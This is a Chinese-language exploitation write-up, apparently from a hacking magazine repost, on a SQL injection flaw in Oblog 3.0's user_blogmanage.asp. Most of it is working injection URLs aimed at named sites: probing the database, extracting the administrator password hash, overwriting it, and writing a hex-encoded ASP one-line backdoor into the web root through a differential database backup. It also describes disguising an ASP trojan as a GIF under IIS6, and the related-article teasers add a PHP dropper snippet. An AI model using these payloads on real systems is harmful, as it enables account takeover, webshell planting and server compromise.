看过第六轮黑防实验室的两位大侠对Oblog3.0 Access版本的渗透过程,敬佩之情犹如滔滔江水连绵不绝,又如黄河之水一发而不可收拾,尤其是他们把社会工程学原理利用得淋漓尽致,以及巧妙的后台上传shell的方法。佩服,佩服。说了这么多废话,我们进入正题,本人在通读Oblog3.0代码的时候发现user_blogmanage.asp文件存在安全隐患,看看下面移动blog日志的操作代码:
sub moveblog()
if id="" then
Oblog.adderrstr("请指定要移动的日志")
Oblog.showusererr
exit sub
end if
dim subjectid
subjectid=trim(request("subject"))
if subjectid="" then
Oblog.adderrstr("请指定要移动的目标专题")
Oblog.showusererr
exit sub
else
subjectid=Clng(subjectid)
end if
if instr(id,",")>0 then
‘如果id变量中含有逗号,去掉变量中的空格,执行下面的sql语句。设为第一条
id=replace(id," ","")
sql="Update [Oblog_log] set subjectid="&subjectid&" where logid in (" & id & ")"&wsql
‘否则执行这个sql语句,设为第二条。
else
sql="Update [Oblog_log] set subjectid="&subjectid&" where logid=" & id &wsql
end if
Oblog.Execute sql
dim blog,rs1
set blog=new class_blog
blog.userid=Oblog.logined_uid
blog.update_allsubjectid()
blog.update_index_subject 0,0,0,""
set blog=nothing
set rs=Oblog.execute("select subjectid from Oblog_subject where userid="&Oblog.logined_uid)
while not rs.eof
set rs1=Oblog.execute("select count(logid) from Oblog_log where Oblog_log.subjectid="&rs(0))
Oblog.execute("update Oblog_subject set subjectlognum="&rs1(0)&" where Oblog_subject.subjectid="&rs(0))
rs.movenext
wend
set rs=nothing
set rs1=nothing
Oblog.showok "更新专题成功,需要重新发布首页,才可使专题统计准确!",""
end sub
再看看文件最上面对id变量的过滤:id=Oblog.filt_badstr(trim(Request("id"))),只用了这条语句,函数代码如下:
public function filt_badstr(str)
If Isnull(Str) Then
filt_badstr = ""
Exit Function
End If
Str = Replace(Str,Chr(0),"")
filt_badstr = Replace(Str,"'","''")
end function
只去掉了\0和单引号,呵呵,这怎能阻止我们的注入攻击呢,找个使用Oblog3.0 SQL版本的站点牛刀小试一下:构造环境测试语句:http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=@@version)--,一定要注意语句最后面的”'”,否则不会成功的。
以上注入我们选择的是第一条语句,多了限制条件,就是不能使用空格且提交的语句中要含有逗号。我们可以使用/**/来代替空格。由于限制条件多,以下测试中我们控制程序执行第二条语句。进一步环境刺探:
http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_name()>0--
http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_user>0--。
嘿嘿,测试成功,由于注入语句中不能包含单引号,身经百战的我们当然很容易饶过这条限制,我喜欢使用SQL中的char函数饶过,正好手头有研究动易系统时写的char编码工具,先看看Oblog数据库的表结构,在Oblog_admin表中我们感兴趣的只有id,username和password字段,先暴出admin用户或者id唯一的管理员账号的密码来瞧瞧:
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where id=1)--或者
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where username=char(0x61)%2Bchar(0x64)%2Bchar(0x6d)%2Bchar(0x69)%2Bchar(0x6e))--
其中char(0x61)%2Bchar(0x64)%2Bchar(0x6d)%2Bchar(0x69)%2Bchar(0x6e)是对提交的admin使用char函数的编码。返回结果。
我们先记下这个加密的字符串,在恢复管理员密码的时候需要再次使用。修改后台管理员的密码:
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1;update [Oblog_admin] set password= char(0x34)%2Bchar(0x36)%2Bchar(0x39)%2Bchar(0x65)%2Bchar(0x38)%2Bchar(0x30)%2Bchar(0x64)%2Bchar(0x33)%2Bchar(0x32)%2Bchar(0x63)%2Bchar(0x30)%2Bchar(0x35)%2Bchar(0x35)%2Bchar(0x39)%2Bchar(0x66)%2Bchar(0x38) where id=1--
其中的char(0x34)%2Bchar(0x36)%2Bchar(0x39)%2Bchar(0x65)%2Bchar(0x38)%2Bchar(0x30)%2Bchar(0x64)%2Bchar(0x33)%2Bchar(0x32)%2Bchar(0x63)%2Bchar(0x30)%2Bchar(0x35)%2Bchar(0x35)%2Bchar(0x39)%2Bchar(0x66)%2Bchar(0x38)是469e80d32c0559f8字符串的编码,469e80d32c0559f8对应的md5明文为admin888,对字符串的编码可以使用如下的工具。
当然大家也一定都有比着更好的工具。这样我们就将后台id为1的管理员的密码修改为admin888了,注意id为1的管理员对应的账号默认为admin如果你不确定,可以使用如下的语句查看:
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select username from Oblog_admin where id=1)—
修改完毕,登录一下后台看看是否成功修改管理员密码。good,我们已经拿到了后台管理权限了,爽哉。不要高兴的太早了,虽然我们进入了后台但是SQL版本不同于Access版本,前期两位大侠介绍的通过备份数据库获取WebShell的方法在SQL版本上是行不通的,看看admin_database.asp的如下代码大家就明白了:
dim dbpath
dim ObjInstalled
if not IsObject(conn) then link_database
if is_sqldata=0 then dbpath=server.mappath(db)
如果使用的是Access版本才初始化dbpath参数的。
在这里我给大家介绍几种SQL版本获取WebShell的方法。
先说说第一种比较通用的方法吧,利用SQL SERVER的特性,方法有通过xp_cmdshell,利用OLE对象接口,利用sp_makeWebtask,通过增量备份等等的方法。利用这些方法的一个必要的条件:Web物理路径我们可以从后台的管理首页中轻松获取。关于具体注入语句大家可以参看uploadshell.exe中的相关代码。在实现中注意处理掉其中的单引号。程序可以自动获取IE中的cookie信息。故无须填写cookie信息。
关于利用后台功能上传shell,确实把我难为了半天,想得头都大了,刚开始方法是天使娃娃他们的想法是一样的添加个shtm上传文件类型,将conn.asp包含进去,这样只能看到数据库连接信息,如果对方装有防火墙或者权限不很高的话也不能获取shell,后来就想出添加aaspsp/和asp/上传文件类型,这样通过修改数据包提示上传成功,但是却没有真的上传成功了,很是郁闷。假期期间,也没有那么多时间去查找原因了,这时候忽然看到了在后台可以设置用户目录的,这时候突然记得网上曾经流传着对于windows2003系统和IIS6.0假设的Web平台有个特性,就是**.asp虚拟目录下的任何扩展名的文件都会被作为asp文件被解释执行的,想到这里差点兴奋的跳起来,嘿嘿。请看操作:在后台常规设置|用户目录管理中新建一个**.asp的目录。并将这个目录设置成为默认的目录,如上图所示。然后到网站去注册一个新的用户,然后进入管理中心,选择相册,上传一个asp木马的假gif文件。这样当我们访问这个gif文件的时候IIS会将此文件作为asp文件解析,我在本机使用Access版本做了测试发现能够把文件上传上去。但是在对SQL版本测试时发现并不能正确上传文件到这个目录的,出现如下的错误信息:
ADODB.Stream 错误 '800a0bbc'
写入文件失败。
/inc/Upload.inc,行 312
虽然不能成功,但这却是我们后台上传木马的好方法,因为大部分asp整站程序在后台都允许后台修改上传目录的,比如动易系统等。没办法,我们只能使用第一种方法了,开工。
第一步:
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;declare @a sysname;declare @s nvarchar(4000);select @a=db_name();select @s=0x77006F006B0061006F002E00620061006B00;backup database @a to disk=@s--
注意了,在语句中一定不能含有单引号的,
第二步:
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;create table [dbo].[llikz] ([cmd] [image])—
第三步:
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;insert into llikz(cmd) values(0x3C25657865637574652872657175657374282261222929253E)—
注意其中0x3C25657865637574652872657175657374282261222929253E为
第四步:
http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;declare
@a sysname;declare @s nvarchar(4000) select @a=db_name();select @s=0x66003a005c0062006c006f00670032003000300035005c0062006c006f006700730065
0072007600650072005c006c006c0069006b007a002e00610073007000;backup database
@a to disk=@s WITH DIFFERENTIAL—
其中的0x66003a005c0062006c006f00670032003000300035005c0062006c006f006700730065007
2007600650072005c006c006c0069006b007a002e00610073007000是在后台得到的Web的物理路径。
利用增量备份只需要public的权限,应该是OBLOG 3.0 SQL版本拿WebShell的最好方法了。如果你感觉操作很复杂,那就不需要上传WebShell了,进后台把自己的账号修改为VIP用户,或者将上传空间修改为100000000KB,把blog当作一个网络优盘也不错的,呵呵。由于Oblog在互联网上的风靡,漏洞危害性很大,大家不要乱搞破坏哦。
Oblog3.0漏洞曝光_漏洞研究
时间: 2024-10-30 09:16:32
Oblog3.0漏洞曝光_漏洞研究的相关文章
JSP脚本漏洞面面观_漏洞研究
服务器漏洞是安全问题的起源,黑客对网站的攻击也大多是从查找对方的漏洞开始的.所以只有了解自身的漏洞,网站管理人员才能采取相应的对策,阻止外来的攻击.下面介绍一下一些服务器(包括Web服务器和JSP服务器)的常见漏洞. Apache泄露重写的任意文件漏洞是怎么回事? 在Apache1.2以及以后的版本中存在一个mod_rewrite模块,它用来指定特殊URLS在网络服务器文件系统上所映射的绝对路径.如果传送一个包含正确表达参数的重写规则,攻击者就可以查看目标主机上的任意文件.
我是如何发现CCProxy远程溢出漏洞的_漏洞研究
CCProxy是一个国产的支持HTTP.FTP.Gopher.SOCKS4/5.Telnet.Secure(HTTPS).News(NNTP). RTSP.MMS等代理协议的代理服务器软件.因为其简单易用.界面友好,非常适合在对流量要求不高的网络环境中使用,所以在国内有很多初级的网管喜欢用这个软件,有时候我在公司上网也要用它做代理.前些日子我测试发现CCProxy 6.0版本存在多处缓冲区溢出漏洞,可以导致攻击者远程执行任意代码. TIPS:什么是Gopher.RTSP.MMS? G
vista输入法漏洞重出江湖_漏洞研究
Google的拼音输入法出现了一个漏洞,该漏洞影响Vista. 该漏洞和当年的win2000上的输入法漏洞如出一辙. 在登陆界面通过热键切换出google 输入法,然后选择帮助-->跳转到url 然后就可以以system权限执行命令了. 建议vista用户暂时不要使用google拼音输入法. PS:难道是炒作...又见炒作!
关于oblog、动易、风讯等拥有源码编辑的程序漏洞浅析_漏洞研究
目前的oblog.动易.风讯等一系列著名的系统,都存在源码编辑漏洞. 具体操作是: 1,进入"源码"编辑 2,输入阶段公分四段: 第一段:<此处输入正文,做事需要手下留情嘛,来点实际内容> 第二段:<script>document.write('<div style="display:none">');</script> 第三段:<此处输入作弊链接,获取google的pr值,此处的内容将不会被浏览者看
动网7.x权限提升漏洞原理_漏洞研究
在6月份的黑防上看到<动网7.1漏洞惊现江湖>一文说是admin_postings.asp文件存在注入漏洞但利用的前提是拥有超级版主或前台管理员权限.我想起以前发现的动网7.x版本存在一个前台权限提升漏洞 正好可以结合起来利用.这个前台权限提升漏洞对7.x的ccess和 SQL版都有效.下面我们就以7.0 SP2 SQL版讲解这个漏洞的利用. 漏洞分析 我们知道动网是通过GroupID来判断当前用户所在的组的然后再通过组的信息判断用户的权限.它是如何取得这个GroupID的呢让我们看看登录验证
shell.application对象的漏洞描述_漏洞研究
环境:在2kserver+iis5成功,权限默认iusr权限 iis权限:脚本可执行 描述:在2K服务器上默认可以用server.createobject的方法来使用已经安装的组件. 比如大家都知道的ADO数据库控件,但是除了这些专门提供的组件外 还有一些本来是提供给系统使用的组件如WSH,FSO它们同样可以用上面的办法来使用, 当然现在大部分的asp后门都使用了它们,所以有的网管就删除或更改注册表中这两个组件的CLSID值 来禁用它们,当然也有的在"控制面板"的"
Internet Explorer6最新漏洞代码_漏洞研究
用代码如下: <script type="text/jscript"> function init() { document.write("The time is: " + Date() ); } window.onload = init; </script> 利用此代码可以隐藏网页前面的html代码,运行后就只能看见javascript语句里面执行的代码. 并且刷新后也不能再看见网站的源代码,并可利用javascript执行任意代码. 实
PollVote投票系统漏洞利用_漏洞研究
PollVote是一个投票系统,今天看了非安全的杂志,看了利用方法, 不过作者说利用过程的时候很烦琐,关键的时候又没说明白, 简单的说一下`` 首先建立2个文本 分别是creatfile.txt和phpdoor.txt creatfile.txt内容写 <? $f=file_get_contents("http://www.hackeroo.com/phpdoor.txt"); $ff=fopen("111.php","a")
O-blog漏洞暴光_漏洞研究
ps:郁闷纳,一个整形变量,为什么不做一强制转换呢! 看过第六轮黑防实验室的两位大侠对Oblog3.0 Access版本的渗透过程,敬佩之情犹如滔滔江水连绵不绝,又如黄河之水一发而不可收拾,尤其是他们把社会工程学原理利用得淋漓尽致,以及巧妙的后台上传shell的方法.佩服,佩服.说了这么多废话,我们进入正题,本人在通读Oblog3.0代码的时候发现user_blogmanage.asp文件存在安全隐患,看看下面移动blog日志的操作代码: sub moveblog() if id